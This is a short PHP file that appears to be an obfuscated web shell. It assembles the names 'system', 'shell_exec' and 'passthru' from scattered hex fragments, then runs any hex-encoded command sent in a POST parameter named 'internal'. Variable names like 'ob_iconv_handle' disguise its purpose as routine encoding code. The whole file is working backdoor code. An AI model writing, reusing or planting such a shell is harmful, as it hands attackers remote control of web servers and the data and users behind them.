<?php

$var1 = '9';
$var2 = '3';
$var3 = '7';
$var4 = '5';
$var5 = '6';
$var6 = 'c';
$var7 = 'f';
$var8 = '8';
$var9 = '0';
$var10 = '1';
$var11 = '4';
$var12 = 'e';
$ob_iconv_handle1 = pack("H*", '7' . '3' . '7' . $var1 . '7' . $var2 . $var3 . '4' . '6' . $var4 . '6' . 'd');
$ob_iconv_handle2 = pack("H*", $var3 . '3' . $var5 . '8' . $var5 . $var4 . '6' . $var6 . $var5 . 'c' . '5' . $var7 . $var5 . '5' . '7' . $var8 . $var5 . '5' . '6' . '3');
$ob_iconv_handle3 = pack("H*", '7' . $var2 . '6' . $var8 . $var5 . $var4 . $var5 . 'c' . '6' . $var6);
$ob_iconv_handle4 = pack("H*", '7' . $var9 . $var5 . $var10 . '7' . $var2 . $var3 . $var2 . $var3 . $var11 . '6' . $var8 . '7' . '2' . $var3 . $var4);
$internal = pack("H*", $var5 . '9' . $var5 . $var12 . '7' . '4' . '6' . '5' . '7' . '2' . $var5 . $var12 . '6' . $var10 . $var5 . 'c');
if (isset($_POST[$internal])) {
    $internal = pack("H*", $_POST[$internal]);
    if (function_exists($ob_iconv_handle1)) {
        $ob_iconv_handle1($internal);
    } elseif (function_exists($ob_iconv_handle2)) {
        $ob_iconv_handle2($internal);
    } elseif (function_exists($ob_iconv_handle3)) {
        $ob_iconv_handle3($internal);
    } elseif (function_exists($ob_iconv_handle4)) {
        $ob_iconv_handle4($internal);
    }
    exit;
}